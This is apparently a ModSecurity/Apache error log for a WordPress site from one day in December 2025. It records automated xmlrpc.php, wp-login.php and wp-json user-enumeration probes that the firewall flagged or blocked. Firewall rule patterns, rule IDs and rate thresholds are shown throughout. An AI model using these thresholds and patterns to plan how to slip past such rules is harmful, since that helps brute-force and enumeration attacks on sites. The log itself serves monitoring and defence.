[Thu Dec 25 02:29:33.804004 2025] [:error] [pid 16659:tid 16712] [client 45.159.149.101:46144] [client 45.159.149.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.149.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwxDS2KqR0Lr_kutLvP4wAAAUQ"]
[Thu Dec 25 02:51:25.204635 2025] [:error] [pid 21513:tid 21531] [client 197.1.96.118:59328] [client 197.1.96.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.1.96.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUw2LWPuOaBlVJ9Har36CwAAAZA"]
[Thu Dec 25 03:16:00.018241 2025] [:error] [pid 21513:tid 21533] [client 192.144.148.122:39726] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUw78GPuOaBlVJ9Har0AtQAAAZI"]
[Thu Dec 25 04:33:13.816415 2025] [:error] [pid 31571:tid 31627] [client 199.188.200.121:34672] [client 199.188.200.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 199.188.200.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxOCe7e_lLK2X5wU8njUAAAAIA"]
[Thu Dec 25 04:33:31.231537 2025] [:error] [pid 31655:tid 31673] [client 37.27.62.88:56572] [client 37.27.62.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.27.62.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxOG5ozPMk9HPtIJPPVLAAAANA"]
[Thu Dec 25 04:33:39.505343 2025] [:error] [pid 31569:tid 31585] [client 103.124.93.247:49440] [client 103.124.93.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.124.93.247, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxOI2iSFBH7Ee_uldXFUQAAAAw"]
[Thu Dec 25 04:33:55.547459 2025] [:error] [pid 31569:tid 31586] [client 110.78.211.34:45542] [client 110.78.211.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.78.211.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxOM2iSFBH7Ee_uldXFYAAAAA0"]
[Thu Dec 25 06:40:13.372184 2025] [:error] [pid 31655:tid 31676] [client 103.78.3.196:37970] [client 103.78.3.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.78.3.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxrzZozPMk9HPtIJPP80wAAANM"]
[Thu Dec 25 06:40:32.411857 2025] [:error] [pid 2996:tid 3000] [client 35.226.134.93:50538] [client 35.226.134.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.134.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxr4KrrTp0EWNyhaIRmBgAAAQI"]
[Thu Dec 25 06:40:51.204954 2025] [:error] [pid 31571:tid 31640] [client 198.54.114.123:54666] [client 198.54.114.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxr8-7e_lLK2X5wU8kM-gAAAI0"]
[Thu Dec 25 06:41:01.158402 2025] [:error] [pid 31570:tid 31602] [client 128.65.195.155:42044] [client 128.65.195.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.65.195.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUxr_WPy2DpAzW_4a2ituAAAAEI"]
[Thu Dec 25 08:32:47.989417 2025] [:error] [pid 2996:tid 3008] [client 47.95.35.188:57726] [client 47.95.35.188] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/Wp/v2/users"] [unique_id "aUyGL6rrTp0EWNyhaISNRgAAAQo"]
[Thu Dec 25 08:36:49.023131 2025] [:error] [pid 2996:tid 3012] [client 185.192.114.11:52910] [client 185.192.114.11] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aUyHIarrTp0EWNyhaISOUwAAAQ4"]
[Thu Dec 25 09:02:40.606792 2025] [:error] [pid 2996:tid 3016] [client 202.182.124.159:4612] [client 202.182.124.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.182.124.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUyNMKrrTp0EWNyhaISTzAAAARI"]
[Thu Dec 25 09:02:42.331757 2025] [:error] [pid 2996:tid 3008] [client 185.8.173.39:48402] [client 185.8.173.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.8.173.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUyNMqrrTp0EWNyhaISTzgAAAQo"]
[Thu Dec 25 09:02:56.456231 2025] [:error] [pid 31655:tid 31680] [client 119.27.166.31:54609] [client 119.27.166.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.27.166.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUyNQJozPMk9HPtIJPMakgAAANc"]
[Thu Dec 25 09:03:00.882174 2025] [:error] [pid 31569:tid 31580] [client 107.172.32.149:46568] [client 107.172.32.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.172.32.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUyNRGiSFBH7Ee_uldUd-gAAAAc"]
[Thu Dec 25 09:03:16.321686 2025] [:error] [pid 31569:tid 31574] [client 103.159.51.29:65276] [client 103.159.51.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.51.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUyNVGiSFBH7Ee_uldUeBwAAAAE"]
[Thu Dec 25 11:10:23.537008 2025] [:error] [pid 31569:tid 31584] [client 47.253.193.141:49780] [client 47.253.193.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.253.193.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUyrH2iSFBH7Ee_uldVIfwAAAAs"]
[Thu Dec 25 11:11:07.041518 2025] [:error] [pid 31570:tid 31624] [client 103.159.51.29:49256] [client 103.159.51.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.51.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUyrS2Py2DpAzW_4a2jfvwAAAFg"]
[Thu Dec 25 11:50:42.648698 2025] [:error] [pid 31655:tid 31677] [client 152.42.186.68:49970] [client 152.42.186.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.186.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUy0kpozPMk9HPtIJPM7hgAAANQ"], referer: https://www.mondea.be//wp-login.php
[Thu Dec 25 11:50:43.877849 2025] [:error] [pid 31655:tid 31675] [client 152.42.186.68:49970] [client 152.42.186.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUy0k5ozPMk9HPtIJPM7iAAAANI"], referer: https://www.mondea.be//wp-login.php
[Thu Dec 25 11:50:46.672936 2025] [:error] [pid 31655:tid 31672] [client 152.42.186.68:49970] [client 152.42.186.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.186.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUy0lpozPMk9HPtIJPM7kgAAAM8"]
[Thu Dec 25 11:50:51.386333 2025] [:error] [pid 31570:tid 31618] [client 152.42.186.68:64346] [client 152.42.186.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.186.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUy0m2Py2DpAzW_4a2jmYgAAAFI"]
[Thu Dec 25 11:50:54.719814 2025] [:error] [pid 31571:tid 31638] [client 152.42.186.68:65493] [client 152.42.186.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.186.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUy0nu7e_lLK2X5wU8lTQAAAAIs"]
[Thu Dec 25 11:50:56.986373 2025] [:error] [pid 31569:tid 31595] [client 152.42.186.68:57142] [client 152.42.186.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.186.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUy0oGiSFBH7Ee_uldVV_QAAABY"]
[Thu Dec 25 11:50:56.986505 2025] [:error] [pid 31569:tid 31595] [client 152.42.186.68:57142] [client 152.42.186.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 152.42.186.68, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUy0oGiSFBH7Ee_uldVV_QAAABY"]
[Thu Dec 25 11:50:58.957132 2025] [:error] [pid 2996:tid 3017] [client 152.42.186.68:61782] [client 152.42.186.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 152.42.186.68, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUy0oqrrTp0EWNyhaIS9qQAAARM"], referer: https://gigfragments.org//wp-login.php
[Thu Dec 25 12:08:10.850911 2025] [:error] [pid 31569:tid 31574] [client 129.226.213.145:34576] [client 129.226.213.145] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUy4qmiSFBH7Ee_uldVdJgAAAAE"]
[Thu Dec 25 13:28:51.049006 2025] [:error] [pid 31571:tid 31633] [client 68.183.91.73:33070] [client 68.183.91.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.91.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUzLk-7e_lLK2X5wU8lpXwAAAIY"]
[Thu Dec 25 13:29:01.916508 2025] [:error] [pid 31570:tid 31608] [client 103.56.164.130:58499] [client 103.56.164.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.56.164.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUzLnWPy2DpAzW_4a2j4aAAAAEg"]
[Thu Dec 25 13:40:46.502945 2025] [:error] [pid 31571:tid 31651] [client 43.130.32.245:36180] [client 43.130.32.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUzOXu7e_lLK2X5wU8lrkwAAAJg"]
[Thu Dec 25 15:24:23.763793 2025] [:error] [pid 31655:tid 31663] [client 103.124.95.251:52776] [client 103.124.95.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.124.95.251, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUzmp5ozPMk9HPtIJPNlgwAAAMY"]
[Thu Dec 25 15:24:29.007255 2025] [:error] [pid 31655:tid 31678] [client 208.97.186.101:41002] [client 208.97.186.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.97.186.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUzmrZozPMk9HPtIJPNlkAAAANU"]
[Thu Dec 25 15:24:39.044212 2025] [:error] [pid 31571:tid 31649] [client 66.29.155.71:47080] [client 66.29.155.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.155.71, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUzmt-7e_lLK2X5wU8mAIAAAAJY"]
[Thu Dec 25 17:28:53.775502 2025] [:error] [pid 31655:tid 31680] [client 69.163.140.5:44912] [client 69.163.140.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.140.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0D1ZozPMk9HPtIJPOCfQAAANc"], referer: https://gigfragments.org/xmlrpc.php
[Thu Dec 25 17:54:23.395404 2025] [:error] [pid 2996:tid 3007] [client 5.135.48.162:58738] [client 5.135.48.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.48.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0Jz6rrTp0EWNyhaIQ1FAAAAQk"]
[Thu Dec 25 17:54:24.431797 2025] [:error] [pid 2996:tid 2999] [client 185.125.27.32:38950] [client 185.125.27.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.125.27.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0J0KrrTp0EWNyhaIQ1MAAAAQE"]
[Thu Dec 25 17:54:29.213003 2025] [:error] [pid 31569:tid 31575] [client 69.163.176.25:37470] [client 69.163.176.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.176.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0J1WiSFBH7Ee_uldXBBQAAAAI"]
[Thu Dec 25 17:55:05.132661 2025] [:error] [pid 2996:tid 3022] [client 154.9.255.193:43094] [client 154.9.255.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.9.255.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0J-arrTp0EWNyhaIQ1pAAAARg"]
[Thu Dec 25 17:55:09.585701 2025] [:error] [pid 31569:tid 31595] [client 103.187.168.73:55414] [client 103.187.168.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.187.168.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0J_WiSFBH7Ee_uldXBOQAAABY"]
[Thu Dec 25 18:14:16.980281 2025] [:error] [pid 31655:tid 31663] [client 222.252.11.23:53036] [client 222.252.11.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 222.252.11.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0OeJozPMk9HPtIJPOPcAAAAMY"]
[Thu Dec 25 18:14:18.801063 2025] [:error] [pid 31655:tid 31680] [client 222.252.11.23:53036] [client 222.252.11.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 222.252.11.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0OepozPMk9HPtIJPOPewAAANc"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 25 18:30:21.605726 2025] [:error] [pid 31655:tid 31659] [client 117.2.155.13:33782] [client 117.2.155.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 117.2.155.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0SPZozPMk9HPtIJPOTeAAAAMI"]
[Thu Dec 25 18:30:24.236236 2025] [:error] [pid 31655:tid 31678] [client 117.2.155.13:33782] [client 117.2.155.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 117.2.155.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0SQJozPMk9HPtIJPOTewAAANU"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 25 18:37:35.796707 2025] [:error] [pid 31569:tid 31590] [client 104.199.8.96:53532] [client 104.199.8.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.199.8.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0T72iSFBH7Ee_uldXRWwAAABE"]
[Thu Dec 25 18:37:37.419138 2025] [:error] [pid 31569:tid 31580] [client 104.199.8.96:53532] [client 104.199.8.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.199.8.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0T8WiSFBH7Ee_uldXRXAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 25 18:39:41.445070 2025] [:error] [pid 2996:tid 3008] [client 162.241.24.23:23354] [client 162.241.24.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.24.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0UbarrTp0EWNyhaIRJfgAAAQo"]
[Thu Dec 25 18:39:43.135925 2025] [:error] [pid 2996:tid 3021] [client 162.241.24.23:23354] [client 162.241.24.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.24.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0Ub6rrTp0EWNyhaIRJhAAAARc"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 25 18:59:49.971639 2025] [:error] [pid 2996:tid 3000] [client 47.251.245.62:33272] [client 47.251.245.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.251.245.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0ZJarrTp0EWNyhaIRShQAAAQI"]
[Thu Dec 25 18:59:54.919773 2025] [:error] [pid 2996:tid 3003] [client 47.251.245.62:33272] [client 47.251.245.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.251.245.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0ZKqrrTp0EWNyhaIRSkQAAAQU"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 25 19:00:20.893235 2025] [:error] [pid 2996:tid 3002] [client 43.166.142.76:42330] [client 43.166.142.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aU0ZRKrrTp0EWNyhaIRSpwAAAQQ"]
[Thu Dec 25 19:14:48.235519 2025] [:error] [pid 64975:tid 65070] [client 51.89.59.116:56788] [client 51.89.59.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.59.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0cqCXyboSuXIThjj6SJwAAAww"]
[Thu Dec 25 19:14:54.425852 2025] [:error] [pid 64975:tid 65077] [client 51.89.59.116:56788] [client 51.89.59.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.89.59.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0criXyboSuXIThjj6SKAAAAxM"], referer: https://gigfragments.org/wp-login.php
